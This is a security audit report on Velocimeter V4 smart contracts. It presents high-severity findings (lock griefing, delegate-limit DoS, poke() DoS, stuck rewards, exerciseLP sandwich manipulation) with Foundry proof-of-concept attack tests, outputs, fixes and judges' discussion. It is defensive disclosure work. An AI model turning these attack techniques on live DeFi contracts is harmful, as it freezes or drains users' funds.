SHERLOCK

SHERLOCK SECURITY REVIEW FOR

Contest type:	Public
Prepared for:	Velocimeter
Prepared by:	Sherlock
Lead Security Expert:	bughuntoor
Dates Audited:	July 1 - July 25, 2024
Prepared on:	September 3, 2024

SHERLOCK

Introduction

Velocimeter V4 is a ve33 dex with veLP, permissionless gauges, and an emission schedule that grows with demand. These new features are the focus of the contest.

Scope

Repository: Velocimeter/v4-contracts

Branch: master

Commit: ceaf8e4345e42440d5ca3cf7c772ca85c44b8a0e

For the detailed scope, see the contest details.

Findings

Each issue has an assigned severity:

- Medium issues are security vulnerabilities that may not be directly exploitable or may require certain conditions in order to be exploited. All major issues should be addressed.
- High issues are directly exploitable security vulnerabilities that need to be fixed.

Issues found

Medium	High
9	9

Issues not fixed or acknowledged

Medium	High
0	0

Security experts who found valid issues

bughuntoor	Audinarey	coffiasd
jennifer37	sonny2k	dany.armstrong90
eeyore	dandan	Honour

jah
neon2835
0xpiken
bin2chen
1nc0gn170
jovi
GalloDaSballo
Chinmay
eeshenggoh
cryptic
pashap9990
Nyx
4gontuk
Kirkeelee
HackTrace
mike-watson
Bauer
talfao
Ruhum
Ironsidesec
Sentryx
tvdung94

cu5t0mPe0
cawfree
McToady
Ch_301
atoko
hulkvision
AMOW
KupiaSec
KungFuPanda
Aymen0909
bbl4de
Naresh
burnerelu
Varun_19
StraawHaat
MSaptarshi
pseudoArtist
Avci
ZanyBonzy
Minato7namikazi
almurhasan
joshuajee

Bauchibred
hl_
oxkmmm
Matin
DanielWang8824
BiasedMerc
Hajime
Obin
Norah
MohammedRizwan
0xNazgul
Smacaud
blackhole
0xBugHunter
ElCid-eth
blockchain555
dev0cloo
Hearmen
t.aksoy
0xShoonya

Issue H-1: `DepositWithLock` done via `OptionToken` can be abused to permanently lock a user position

Source: https://github.com/sherlock-audit/2024-06-velocimeter-judging/issues/20

Found by

Aymen0909, GalloDaSballo, KupiaSec, McToady, Nyx, bin2chen, cawfree, cryptic, cu5t0mPe0, dandan, eeyore, hulkvision, jovi, talfao, tvdung94

Summary

`OptionTokenV4.exerciseLp` allows depositing to other people locks and extend it permanently at close to zero cost

Vulnerability Detail

`GaugeV4.depositWithLock` has a check to prevent someone else from re-locking a user position

https://github.com/sherlock-audit/2024-06-velocimeter/blob/63818925987a5115a80eff4bd12578146a844cfd/v4-contracts/contracts/GaugeV4.sol#L443-L445

```
function depositWithLock(address account, uint256 amount, uint256 _lockDuration)
↪  external lock {
    require(msg.sender == account || isOToken[msg.sender],"Not allowed to
↪  deposit with lock");
    _deposit(account, amount, 0);
```

This check can be sidestepped by exercising a position on behalf of a victim via the `OptionTokenV4`

By doing this, any user can have their position permanently frozen at close to no cost to the attacker

The cost of the attack is 1 wei for each tokens involved (necessary to not revert on `addLiquidity`, meaning that the cost is extremely low

Impact

Victims will be unable to unlock their unlock their positions at close to no cost to the attacker

Code Snippet

The following POC demonstrates the attack The attacker spends 3 weis of oToken as well as dust amounts of DAI and Flow to increase the lock duration of the victim

```
function testExerciseLp_attack() public {
        vm.startPrank(address(owner));
        FLOW.approve(address(oFlowV4), TOKEN_1);
        // mint Option token to owner 2
        oFlowV4.mint(address(owner2), TOKEN_1 - 3);

        address attacker = address(0xb4d);
        FLOW.mint(attacker, 3);
        DAI.mint(attacker, 3);
        oFlowV4.mint(address(attacker), 3);

        /// Not relevant
        washTrades();
        vm.stopPrank();
        uint256 flowBalanceBefore = FLOW.balanceOf(address(owner2));
        uint256 oFlowV4BalanceBefore = oFlowV4.balanceOf(address(owner2));
        uint256 daiBalanceBefore = DAI.balanceOf(address(owner2));
        uint256 treasuryDaiBalanceBefore = DAI.balanceOf(address(owner));
        uint256 rewardGaugeDaiBalanceBefore = DAI.balanceOf(address(gauge));

        (uint256 underlyingReserve, uint256 paymentReserve) =
↪   IRouter(router).getReserves(address(FLOW), address(DAI), false);
        uint256 paymentAmountToAddLiquidity = (TOKEN_1 * paymentReserve) /
↪   underlyingReserve;

        uint256 discountedPrice = oFlowV4.getLpDiscountedPrice(TOKEN_1,20);
        /// END Not revlevant

        vm.startPrank(address(owner2));
        DAI.approve(address(oFlowV4), TOKEN_100K);
        oFlowV4.exerciseLp(TOKEN_1 - 3, TOKEN_1 - 3,
↪   address(owner2),20,block.timestamp);
        vm.stopPrank();

        // Check end
        uint256 end = gauge.lockEnd(address(owner2));

        /// @audit Move towards unlock
        vm.warp(end - 1);

        /// @audit Attacker locks for owner2, cost is negligible
        vm.startPrank(address(attacker));
        FLOW.approve(address(oFlowV4), TOKEN_1);
        DAI.approve(address(oFlowV4), TOKEN_100K);
        oFlowV4.exerciseLp(3, 3, address(owner2),20,block.timestamp);
        vm.stopPrank();

        uint256 newEnd = gauge.lockEnd(address(owner2));
        /// @audit We delayed the claims with a cost of 3 oFLOW and 2 units of
↪   DAI
        assertGt(newEnd, end, "delayed");
    }
```

Tool used

Manual Review

Recommendation

We should not be able to exercise on behalf of someone else AND increase their locks

Whenever the recipient is someone else, the lock should not be increased, or alternatively you remove the functionality and only allow the recipient to exercise

Discussion

sherlock-admin2

The protocol team fixed this issue in the following PRs/commits: https://github.com/Velocimeter/v4-contracts/pull/9

sherlock-admin2

The Lead Senior Watson signed off on the fix.

Issue H-2: VotingEscrow MAX_DELEGATES value can lead to DOS on certain EVM-compatible chains

Source: https://github.com/sherlock-audit/2024-06-velocimeter-judging/issues/26

Found by

0xpiken, 1nc0gn170, 4gontuk, Audinarey, BiasedMerc, Ch_301, DanielWang8824, Hajime, KungFuPanda, MSaptarshi, Matin, McToady, Norah, Nyx, Obin, Sentryx, StraawHaat, atoko, cawfree, cryptic, eeyore, hl_, jennifer37, oxkmmm, sonny2k, tvdung94

Summary

`VotingEscrow` `MAX_DELEGATES` is a hardcoded variable that ensures an address does not have an array of delegates that would lead to a DOS when calling `transfer/burn/mint` when moving delegates.. However the current value of `1024` can still lead to a DOS on certain chains.

Vulnerability Detail

Within the contest README, the protocol states that the code is expected to function on any EVM-compatible chain, without any plans to include Ethereum mainnet:

> On what chains are the smart contracts going to be deployed?
>
> First on IOTA EVM, but code was build with any EVM-compatible network in mind. There is no plan to deploy in on Ethereum mainnet

The sponsor has also stated that it should be assumed the code will be deployed to all EVM compatible chains:

> dawid.d | Velocimeter — 18/07/2024 02:18 you should assume that it can be deployed to any chain that is fully evm compatible

When testing the gas usage of withdrawing a tokenId that currently has the maximum number of delegates, the gas usage is: `console::log("gas used:", 23637422 [2.363e7]) [staticcall]`

Popular EVM compatible chains block gas limit (under 24m): Scroll EVM: 10,000,000 Gnosis Chain: 17,000,000

POC

Add the following test function to `VotingEscrow.t.sol`:

SHERLOCK

```
function testDelegateLimitAttack() public {
    vm.prank(address(owner));
    flowDaiPair.approve(address(escrow), type(uint256).max);
    uint tokenId = escrow.create_lock(TOKEN_1, 7 days);
    for(uint256 i = 0; i < escrow.MAX_DELEGATES() - 1; i++) {
        vm.roll(block.number + 1);
        vm.warp(block.timestamp + 2);
        address fakeAccount = address(uint160(420 + i));
        flowDaiPair.transfer(fakeAccount, 1);
        vm.startPrank(fakeAccount);
        flowDaiPair.approve(address(escrow), type(uint256).max);
        escrow.create_lock(1, FIFTY_TWO_WEEKS);
        escrow.delegate(address(this));
        vm.stopPrank();
    }
    vm.roll(block.number + 1);
    vm.warp(block.timestamp + 7 days);
    uint initialGas = gasleft();
    escrow.withdraw(tokenId);
    uint gasUsed = initialGas - gasleft();
    console.log("gas used:", gasUsed);
}
```

To run: `forge test --match-test testDelegateLimitAttack  -vv` Output:

```
[PASS] testDelegateLimitAttack() (gas: 12470671686)
Logs:
  gas used: 23637422
```

Impact

As seen, this upper gas limit exceeds the outlined EVM-compatible chains, meaning the current hardcoded value of `MAX_DELEGATES` can lead to a DOS by delegating minimum value locks to an address, causing that tokenId to revert when calling any function that calls `_moveTokenDelegates` as the gas utilised will exceed the chains gas limit for a singular block. Affected functions: transferFrom(), withdraw(), merge(), _mint().

This will lead to a user's NFT being locked from utilising the outlined functions, causing their funds to be locked, leading to a loss of funds with no special outside factors needed to allow this type of attack (apart from deploying on one of the outlined chains, which as stated in the ReadMe is applicable).

Code Snippet

VotingEscrow::transferFrom() VotingEscrow::withdraw() VotingEscrow::merge() VotingEscrow::_mint()

Tool used

Manual Review

Recommendation

Reducing the `MAX_DELEGATES` value to 256 would reduce the cost of the outlined function to ~6,000,000 which would solve the outlined issue.

Discussion

sherlock-admin2

The protocol team fixed this issue in the following PRs/commits: https://github.com/Velocimeter/v4-contracts/pull/14

spacegliderrrr

Fix looks good. `MAX_DELEGATES` value is now 50.

sherlock-admin2

The Lead Senior Watson signed off on the fix.

Issue H-3: poke() may be dos

Source: https://github.com/sherlock-audit/2024-06-velocimeter-judging/issues/55

Found by

bughuntoor, jennifer37

Summary

Poke() may be dos and this will cause we use the previous voting power to calculate the distribution.

Vulnerability Detail

When we enter next voting epoch, all voting powers will be expected to revote or poke their voting position with updated voting power. Considering that one NFT's voting power will decrease over time, the ve NFT owner does not have the incentive to revote if they don't want to change the voted pool. And the pool reward will be distributed with the previous `weights[_pool]`. In order to avoid this case, the governor can trigger poke() function to revote for the NFT owner with the same ratio of last epoch's vote. The vulnerability is that the poke() function can be dos to prevent the revoting. In `poke()`, we will calculate each pool's voting weight via `_poolWeight = _weights[i] * _weight / _totalVoteWeight` and add different voting weight to different pool. `poke()` does not allow one pool's voting weight is zero. If we can make one pool's weight to 0 in poke(), we can let poke() reverted to avoid the revote in the new epoch. This is possible. The attack vector is like as below:

- When we first vote, we vote for several pools with different weight, we need to make sure `_poolWeight` for one pool is 1.
- When it comes to the next epoch, the governor want to poke this NFT, the contract will calculate the pool's weight via `uint256 _poolWeight = _weights[i] * _weight / _totalVoteWeight;`. And the `_weight` equals `IVotingEscrow(_ve).balanceOfNFT(_tokenId)`. The `_weight` in this epoch will be decreased compared with last epoch's voting power. The `_poolWeight` is probably round down to zero. Then the poke() will be reverted.

```
function _updateFor(address _gauge) internal {
    address _pool = poolForGauge[_gauge];
    uint256 _supplied = weights[_pool];
    if (_supplied > 0) {
        uint _supplyIndex = supplyIndex[_gauge];
        uint _index = index; // get global index0 for accumulated distro
        supplyIndex[_gauge] = _index; // update _gauge current position to
↪   global position
```

SHERLOCK

```
        uint _delta = _index - _supplyIndex; // see if there is any difference
↪   that need to be accrued
        if (_delta > 0) {
            uint _share = uint(_supplied) * _delta / 1e18; // add accrued
↪   difference for each supplied token
            if (isAlive[_gauge]) {
                claimable[_gauge] += _share;
            }
        }
    } else {
        supplyIndex[_gauge] = index; // new users are set to the default global
↪   state
    }
}
```

```
   function poke(uint _tokenId) external onlyNewEpoch(_tokenId) {
       require(IVotingEscrow(_ve).isApprovedOrOwner(msg.sender, _tokenId) ||
↪   msg.sender == governor);
       ......
       _vote(_tokenId, _poolVote, _weights);
   }
   function _vote(uint _tokenId, address[] memory _poolVote, uint256[] memory
↪   _weights) internal {
      ......
       uint256 _weight = IVotingEscrow(_ve).balanceOfNFT(_tokenId);
       uint256 _totalVoteWeight = 0;
       uint256 _totalWeight = 0;
       uint256 _usedWeight = 0;
       console.log("Current NFT Balance is :", _weight);
       for (uint i = 0; i < _poolCnt; i++) {
           _totalVoteWeight += _weights[i];
       }
       // pool cannot repeated.
       for (uint i = 0; i < _poolCnt; i++) {
           // One pool, one gauge
           address _pool = _poolVote[i];
           address _gauge = gauges[_pool];

           if (isGauge[_gauge])
           {
               // Cannot vote for one paused or killed gauge
               require(isAlive[_gauge], "gauge already dead");
               uint256 _poolWeight = _weights[i] * _weight / _totalVoteWeight;
               require(votes[_tokenId][_pool] == 0);
@=>        require(_poolWeight != 0, 'Pool weight is zero');
```

```
            ......
```

Poc

Add this test case into VeloVoting.t.sol, change two pool's weight ratio to make sure one pool's actual voting weight is 1. When we comes to the next epoch, the test case will be reverted.

```
function testCannotChangeVoteAndPokeAndResetInSameEpoch() public {
    address pair = router.pairFor(address(FRAX), address(FLOW), false);
    address pair1 = router.pairFor(address(FRAX), address(DAI), true);
    // vote
    vm.warp(block.timestamp + 1 weeks);
    address[] memory pools = new address[](2);
    pools[0] = address(pair);
    pools[1] = address(pair1);
    uint256[] memory weights = new uint256[](2);
    weights[0] = 1;
    weights[1] = 9000000000000000000;
    voter.vote(1, pools, weights);

    // fwd half epoch
    vm.warp(block.timestamp + 1 weeks);

    // try voting again and fail
    //pools[0] = address(pair2);
    //vm.expectRevert(abi.encodePacked("TOKEN_ALREADY_VOTED_THIS_EPOCH"));
    //voter.vote(1, pools, weights);

    // try poking and fail
    //vm.expectRevert(abi.encodePacked("TOKEN_ALREADY_VOTED_THIS_EPOCH"));
    console.log("Try to poke");
    voter.poke(1);
}
```

Impact

In normal case, one veNFT's voting power will decrease over time. Hackers can make use of this vulnerability to hold his veNFT's voting power and gain more rewards.

Code Snippet

https://github.com/sherlock-audit/2024-06-velocimeter/blob/main/v4-contracts/contracts/Voter.sol#L249-L285

Tool used

Manual Review

Recommendation

We should make sure poke() can always succeed.

Discussion

nevillehuang

request poc

Need to quantify loss to justify high severity.

Could be invalid,

Sponsor comments, does it affect `claimRewards()`?

> poke is not required for rewards distributors as it is using snapshots and have decay callculated there

sherlock-admin4

PoC requested from @johnson37

Requests remaining: **33**

johnson37

@nevillehuang , I think there is not fund loss for the protocol. It's one unfair reward distribution issue. The key point here is that malicious users can block poke(), and then `weights[_pool]` cannot be updated timely and correctly. It means that `weights[_pool]` and `totalWeight` are wrong. When we try to distribute awards for different gauges, we will calculate the each pool's rewards according to each pool's voting weight. Considering the incorrect `weights[_pool]`, some gauge(pool) may be distributed more rewards and some gauges may be distributed less rewards than expected.

```
    function _updateFor(address _gauge) internal {
        address _pool = poolForGauge[_gauge];
        uint256 _supplied = weights[_pool];
        if (_supplied > 0) {
            // index is reward per weight
            uint _supplyIndex = supplyIndex[_gauge];
            uint _index = index; // get global index0 for accumulated distro
            supplyIndex[_gauge] = _index; // update _gauge current position to
↪   global position
            uint _delta = _index - _supplyIndex; // see if there is any
↪   difference that need to be accrued
            if (_delta > 0) {
                uint _share = uint(_supplied) * _delta / 1e18; // add accrued
↪   difference for each supplied token
                if (isAlive[_gauge]) {
                    claimable[_gauge] += _share;
                }
    ...
}
```

Now let me answer the sponsor's question: In one gauge, all depositors will share this gauge's whole rewards. It's correct that the rewards will be distributed according to different depositor's checkpoint. And poke() dos does not have one impact on this. However, just like what I describe as above, `poke()` dos will impact the `weights[_pool]`'s update. This will have one bad impact when all rewards in vote are distributed to different gauges.

Here is one example:

- There are two active gauges, gaugeA(poolA) and gaugeB(poolB)
- Both Alice and Bob own one veNFT token and assume these two veNFT token has the same voting power.
- Alice vote all voting power for gaugeA.
- Bob vote most of his voting power for gaugeB and vote one wei voting power for gauge A. This will prevent this veNFT poke(). This has been proved on the above poc.
- When we distribute the first time, the rewards distributed to each gauge are almost the same, because each pool's weight ratio reach nearly 50%.
- When we come to the next epoch, Alice's veNFT can be poked. Then the `weights[poolA]` will decrease because veNFT's voting power decrease. However, the `weights[poolB]` will keep the same as the last epoch considering that poke() will be reverted. So `weights[poolB]`'s weight ratio will be larger than 50%, the gaugeB will be distributed more rewards than expected.

sherlock-admin2

The protocol team fixed this issue in the following PRs/commits:
https://github.com/Velocimeter/v4-contracts/pull/21

spaceglider rrr

Fix looks good. Function now does not revert on 0 vote, but instead continues with the loop.

sherlock-admin2

The Lead Senior Watson signed off on the fix.

Issue H-4: pause or kill gauge can lead to FLOW token stuck in voter

Source:
https://github.com/sherlock-audit/2024-06-velocimeter-judging/issues/107

Found by

0xBugHunter, 0xNazgul, 0xpiken, 1nc0gn170, 4gontuk, AMOW, Audinarey, Avci, ElCid-eth, KupiaSec, Matin, MohammedRizwan, Naresh, Ruhum, Smacaud, StraawHaat, atoko, blackhole, blockchain555, bughuntoor, coffiasd, cryptic, cu5t0mPe0, dany.armstrong90, dev0cloo, eeshenggoh, eeyore, hl_, hulkvision, jennifer37, mike-watson, oxkmmm, pseudoArtist, sonny2k, talfao

Summary

pause or kill gauge action set unclaimed reward to 0 without sending it back to minter or distributing it to gauge.

Vulnerability Detail

when [Voter::distribute] is tigger , voter invoke Minter::update_period , if 1 week duration is pass by , minter transfer some FLOW to Voter, the amount is based on the number of gauges.

```
function distribute(address _gauge) public lock {
    IMinter(minter).update_period();     <@
    _updateFor(_gauge); // should set claimable to 0 if killed
    uint _claimable = claimable[_gauge];
    if (_claimable > IGauge(_gauge).left(base) && _claimable / DURATION > 0) {.
↪   <@
        claimable[_gauge] = 0;
          if((_claimable * 1e18) / currentEpochRewardAmount >
↪   minShareForActiveGauge) {
                activeGaugeNumber += 1;
          }

          IGauge(_gauge).notifyRewardAmount(base, _claimable);//@audit-info
↪   update rewardRate or add reward token , send token to gauge.
          emit DistributeReward(msg.sender, _gauge, _claimable);
      }
  }
```

From above code we can see only if `_claimable > IGauge(_gauge).left(base)` the claimable reward token will be send to gauge

And `emergencyCouncil` can invoke Voter.sol::pauseGauge or Voter.sol::killGaugeTotally at anytime , without checking the `claimable` reward token amount and set it to zero. Which can lead to those unclaimed reward token stuck in voter contract.

test:

```
function testPauseGaugeLeadToRemainingToken() public {
    FLOW.setMinter(address(minter));
    minter.startActivePeriod();
    voter.distribute();

    address gauge = voter.createGauge(address(pair),0);
    address gauge2 = voter.createGauge(address(pair2),0);
    address gauge3 = voter.createGauge(address(pair3),0);

    //get voting power.
    flowDaiPair.approve(address(escrow), 5e17);
    uint256 tokenId = escrow.create_lock_for(1e16,
↪   FIFTY_TWO_WEEKS,address(owner));
    uint256 tokenId2 = escrow.create_lock_for(1e16,
↪   FIFTY_TWO_WEEKS,address(owner2));
    uint256 tokenId3 = escrow.create_lock_for(1e16,
↪   FIFTY_TWO_WEEKS,address(owner3));

    skip(5 weeks);
    vm.roll(block.number + 1);

    address[] memory votePools = new address[](3);
    votePools[0] = address(pair);
    votePools[1] = address(pair2);
    votePools[2] = address(pair3);

    uint256[] memory weight = new uint256[](3);
    weight[0] = 10;
    weight[1] = 20;
    weight[2] = 30;

    //user vote.
    vm.prank(address(owner));
    voter.vote(tokenId,votePools,weight);

    vm.prank(address(owner2));
    voter.vote(tokenId2,votePools,weight);
    vm.prank(address(owner3));
    voter.vote(tokenId3,votePools,weight);

    voter.pauseGauge(gauge3);

    skip(8 days);
    voter.distribute(gauge);
    voter.distribute(gauge2);
    voter.distribute(gauge3);

    console2.log("gauge get flow:",FLOW.balanceOf(address(gauge)));
    console2.log("gauge2 get flow:",FLOW.balanceOf(address(gauge2)));
    console2.log("gauge3 get flow:",FLOW.balanceOf(address(gauge3)));
    console2.log("remaining flow:",FLOW.balanceOf(address(voter)));
}
```

out:

```
Ran 1 test for test/Voter.t.sol:VoterTest
[PASS] testPauseGaugeLeadToRemainingToken() (gas: 19148544)
Logs:
  gauge get flow: 333333333333333259574
  gauge2 get flow: 666666666666666740425
  gauge3 get flow: 0
  remaining flow: 1000000000000000000001

Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 11.89ms (3.68ms CPU
↪   time)
```

Even to the next round those unclaimed flow token is still not add to reward lead to those token get stuck.

Impact

FLOW token stuck in voter

Code Snippet

https://github.com/sherlock-audit/2024-06-velocimeter/blob/main/v4-contracts/contracts/Voter.sol#L380-L392 https://github.com/sherlock-audit/2024-06-velocimeter/blob/main/v4-contracts/contracts/Voter.sol#L407-L429

Tool used

Manual Review

Recommendation

those code is forked from velocimeter V1 , above issue is already fixed in V2
https://github.com/velodrome-finance/contracts/blob/main/contracts/Voter.sol

```
function killGauge(address _gauge) external {
    if (_msgSender() != emergencyCouncil) revert NotEmergencyCouncil();
    if (!isAlive[_gauge]) revert GaugeAlreadyKilled();
    // Return claimable back to minter
    uint256 _claimable = claimable[_gauge];
    if (_claimable > 0) {
        IERC20(rewardToken).safeTransfer(minter, _claimable);    <@
        delete claimable[_gauge];
    }
    isAlive[_gauge] = false;
    emit GaugeKilled(_gauge);
}
```

If `_claimable > 0` send reward token back to minter

Discussion

sherlock-admin2

The protocol team fixed this issue in the following PRs/commits:
https://github.com/Velocimeter/v4-contracts/pull/13

spaceglidérrrr

Fix looks good.

sherlock-admin2

The Lead Senior Watson signed off on the fix.

Issue H-5: `OptionTokenV4.exerciseLP`'s `addLiquidity` lack of slippage can be abused to make victims exercise for a lower liquidity than intended

Source:
https://github.com/sherlock-audit/2024-06-velocimeter-judging/issues/199

Found by

0xpiken, Avci, Bauchibred, Bauer, GalloDaSballo, MSaptarshi, Minato7namikazi, Sentryx, StraawHaat, ZanyBonzy, almurhasan, bin2chen, bughuntoor, cryptic, cu5t0mPe0, eeshenggoh, eeyore, jennifer37, joshuajee, pashap9990, pseudoArtist, tvdung94

Summary

`OptionTokenV4.exerciseLP` uses spot reserves and a fixed `_amount` by sandwiching an exercise operation, as well as due to the pool being imbalanced, the depositor can receive less liquidity than intended, burning more OptionTokens for less LP tokens

https://github.com/sherlock-audit/2024-06-velocimeter/blob/63818925987a5115a80eff4bd12578146a844cfd/v4-contracts/contracts/OptionTokenV4.sol#L690-L700

```
(, , lpAmount) = IRouter(router).addLiquidity( /// @audit I need to do the math
↪   here to see the gain when
    underlyingToken,
    paymentToken,
    false,
    _amount,
    paymentAmountToAddLiquidity,
    1,
    1,
    address(this),
    block.timestamp
);
```

Vulnerability Detail

`OptionTokenV4.exerciseLP` has a slippage check on the maximum price paid to exercise the option

But there is no check that the `lpAmount` is within the bounds of what the user intended

The `Pool.mint` formula for liquidity to be minted is as follows:

https://github.com/sherlock-audit/2024-06-velocimeter/blob/63818925987a5115a80eff4bd12578146a844cfd/v4-contracts/contracts/Pair.sol#L262-L263

```
liquidity = Math.min(_amount0 * _totalSupply / _reserve0, _amount1 *
↪   _totalSupply / _reserve1);
```

To calculate the correct amount of `paymentReserve` to add to the pool, spot reserves are checked

https://github.com/sherlock-audit/2024-06-velocimeter/blob/63818925987a5115a80eff4bd12578146a844cfd/v4-contracts/contracts/OptionTokenV4.sol#L354-L355

```
        (uint256 underlyingReserve, uint256 paymentReserve) =
↪   IRouter(router).getReserves(underlyingToken, paymentToken, false);
paymentAmountToAddLiquidity = (_amount * paymentReserve) / underlyingReserve;
```

This means that spot reserves are read and are supplied in a proportional way, this is rational and superficially correct

However, `_amount` for the OptionToken is a fixed value, meaning that the amount of liquidity we will get is directly related to how "imbalanced the pool is"

When a pool is perfectly balance (e.g. both reserves are in the same proportion), we will have the following math:

Start balances tokenA: 1000000000000000000 (1e18) tokenB: 1000000000000000000 (1e18)

New Deposit: 1000000000000000000 (1e18) New tokens minted: 1000000000000000000 (1e18)

Meaning we get a proportional amount

However, if we start imbalancing the pool by adding more `underlyingToken`, then the amount of `paymentAmountToAddLiquidity` will be reduced, meaning we will be using the same `_amount` of `underlying` but we will receive less total LP tokens

This can happen naturally, if the pool is imbalanced and can also be exploited by an attacker to cause the ExerciseLP to be less effective than intended

Impact

Less LP tokens will be produced from burning the OptionTokens, resulting in a loss of the value of the OptionToken

Code Snippet

Run this POC to see how a deposit of `amount = 1e18` will result in very different amounts of liquidity out

By purposefully front-running and imbalancing the pool, an attacker can make the exercised options massively less valuable, in this example the result is 9% of the unmanipulated value

```
address a;
    address b;
    function getInitializable() external view returns (address, address, bool) {
        return (a, b, false);
    }
    function getFee(address ) external view returns (uint256) {
        return 25;
    }
    function isPaused(address ) external view returns (bool) {
        return false;
    }



    // forge test --match-test test_swapAndSee -vv
     function test_swapAndSee() public {
        MockERC20 tokenA = new MockERC20("a", "A", 18);
        MockERC20 tokenB = new MockERC20("b", "B", 18);
        a = address(tokenA);
        b = address(tokenB);

        tokenA.mint(address(this), 1_000_000e18);
        tokenB.mint(address(this), 1_000_000e18);

        // Setup Pool
        Pair pool = new Pair();



        // Classic stable Pool
        // TODO
        // pool.initialize(address(tokenA), address(tokenB), false);
```

SHERLOCK

```
        uint256 initial = 100e18;
        tokenA.transfer(address(pool), initial);
        tokenB.transfer(address(pool), initial);
        pool.mint(address(this));

        // We assume we'll deposit 1e18 from the option
        // We'll take spot of the other amount
        // And see how much liquidity we get
        uint256 snapshot = vm.snapshot();
        (uint256 underlyingReserve, uint256 paymentReserve, ) =
↪   pool.getReserves();

        // Amt * payRes / underlyingRes
        uint256 paymentAmountToAddLiquidity = (1e18 * paymentReserve) /
↪   underlyingReserve;
        console2.log("paymentAmountToAddLiquidity Initial",
↪   paymentAmountToAddLiquidity);

        tokenA.transfer(address(pool), 1e18);
        tokenB.transfer(address(pool), paymentAmountToAddLiquidity);
        uint256 balanceB4 = pool.balanceOf(address(this));
        pool.mint(address(this));
        uint256 poolMinted = pool.balanceOf(address(this)) - balanceB4;
        console2.log("poolMinted Initial", poolMinted);
        vm.revertTo(snapshot);

        // swap
        uint256 counter = 1000;
        while(counter > 0) {
            // By swapping more of underlyingReserve, we make `paymentReserve`
↪   cheaper and we make them get less liquidity
            // this wastes their `_amount` which is limited

            // Swap 0
            tokenA.transfer(address(pool), 1e18);
            uint256 toSwapOut = pool.getAmountOut(1e18, address(tokenA));
            pool.swap(0, toSwapOut, address(this), hex"");

            --counter;
        }

        // Basically same as above, but with altered reserves
        (underlyingReserve, paymentReserve, ) = pool.getReserves();

        // Amt * payRes / underlyingRes
        paymentAmountToAddLiquidity = (1e18 * paymentReserve) /
↪   underlyingReserve;
```

```
        console2.log("paymentAmountToAddLiquidity After",
↪   paymentAmountToAddLiquidity);

        tokenA.transfer(address(pool), 1e18);
        tokenB.transfer(address(pool), paymentAmountToAddLiquidity);
        balanceB4 = pool.balanceOf(address(this));
        pool.mint(address(this));
        poolMinted = pool.balanceOf(address(this)) - balanceB4;
        console2.log("poolMinted After", poolMinted);
    }
```

Full File is here: https://gist.github.com/GalloDaSballo/d40d7a1d1b2a481450f44ebade421d14

Tool used

Manual Review

Recommendation

Add an additional slippage check for `exerciseLP` to check that `lpAmount` is above a slippage threshold

Discussion

0xklapouchy

@nevillehuang Hi 0xnevi,

The duplicates in this issue come from three different issues and should be split accordingly. After rechecking, here is how I believe they should be divided:

1. **Main Issue #199**: These duplicates are related to the lack of slippage control for lpTokens received or the use of amountAMin and amountBMin. As the result is the same (the lpTokens are received in the proper proportion), they should be grouped together:
   - #199
   - #89
   - #97
   - #164
   - #216
   - #245

- #250
- #256
- #294
- #336
- #473
- #524

2. **Second Issue**: For example, mine (#291) involves a missing check on the `paymentAmountToAddLiquidity` amount. This issue will still be valid even if the Main issue is fixed, as the `paymentAmountToAddLiquidity` can be manipulated even if the user receives lpTokens in the desired proportions:
   - #291
   - #62
   - #152
   - #217
   - #277
   - #328
   - #401
   - #517
   - #560
   - #600
   - #620
   - #677
   - #188
   - #174
3. **Third Issue**: Issues #431 and mine (#295) relate to the absence of a return of unused tokens, even where the transfer flow is user -> OptionTokenV4 contract -> router:
   - #431
   - #295

Lastly, #530 is invalid as it pertains to a view function, which is functioning as expected. The same user has issue #517, where this view function is only valid when utilized.

Edit: I missed #524 in first group.

rickkk137

@0xklapouchy thx for escalate this issue and I agree with u first group talk about different root cause and I think first group are invalid because they just mention lack of slippage control but main problem happen because of paymentAmountToAddLiquidity and attacker can manipulate that to harm legimate users and slippage control in this case dosen't matter because second parameter of addLiquidity will be computed in execution time of transaction

handling slippage control is important when user compute _amountB based on reserveA and reserveB before main addliq tx but in this case _amountB will be computed base on current reserveA and reserveB because both of them will be called in exercise function @nevillehuang

#89 #97 #164 #245 #250 #256 #294 #336 #431 #473 #524 also they doesn't have PoC and that is because their attack path is not provable and there isn't any loss of fund for this type of issue

nevillehuang

@0xklapouchy @goheesheng I really appreciate the second look, especially @0xklapouchy, this is the type of escalation that is very exemplary.

Agree with the deduplication with the followinh exceptions:

- I Will double check all duplicates to ensure accuracy and quality for issues 1 and 2
- Issue 3, which I have to take a further look at it

Cc @dawiddrzala, I believe two separate fixes are required for issue 1 and 2, unless I am missing something. Issue 3 is pending validity

0xklapouchy

@nevillehuang As for Issue 3, although it may initially seem valid to me, I can't prove it with a coded PoC (the values are used to last wei). Therefore, it can be considered invalid.

cvetanovv

All issues related to "slippage" are grouped together, regardless of whether they are different contracts or functions. It's in the Sherlock documentation. Therefore, they should remain duplicated together.

nevillehuang

@cvetanovv I think this suggestion here should be applied excluding issues #431 and #295, which should be invalidated, because of the following exception noted in sherlock guidelines. Different fix is involved despite them falling under the umbrella of slippage issues. However since the word `and` is used, I'm not sure if it should be interpreted as all conditions below must be met or just one? code implementations and fixes are different, but impact is similar. I will leave it to you to decide or if any other watsons have additional inputs

> The exception to this would be if underlying code implementations, impact, and the fixes are different, then they can be treated separately.

cvetanovv

@nevillehuang Because the word is `and` I think it should remain duplicated.

However, with the latest update, the word is being replaced with `or`.

If you look at the current documentation, you'll see it's a little different in the duplicate rule - https://docs.sherlock.xyz/audits/judging/judging#ix.-duplication-rules

This update happened on 08/07/2024 - https://docs.sherlock.xyz/audits/judging/judging/criteria-changelog

However, the contest was started on 01/07/2024. That is, we are looking at the old rules where all the issues with "slippage" are grouped together. However, this will most likely be different for the new contests. At least, that's how I understand things.

0xklapouchy

@cvetanovv

To my understanding, even under the old rules, these issues should be considered separately as they involve three different factors:

1. The root cause and impact are different. In one case, an incorrect (undervalued) LP amount is minted, while in the other, an overpayment occurs due to manipulation of the `paymentAmountToAddLiquidity`.
2. The required fixes are different.
3. When we examine the logic of both functions, the underlying code is different.

For the first issue, the problem lies within the following code:

```
(, , lpAmount) = IRouter(router).addLiquidity(
    underlyingToken,
    paymentToken,
    false,
    _amount,
    paymentAmountToAddLiquidity,
    1,
    1,
    address(this),
    block.timestamp
);
```

For the second issue, the problem lies within this code:

```
(uint256 paymentAmount, uint256 paymentAmountToAddLiquidity) =
↪   getPaymentTokenAmountForExerciseLp(_amount, _discount);
```

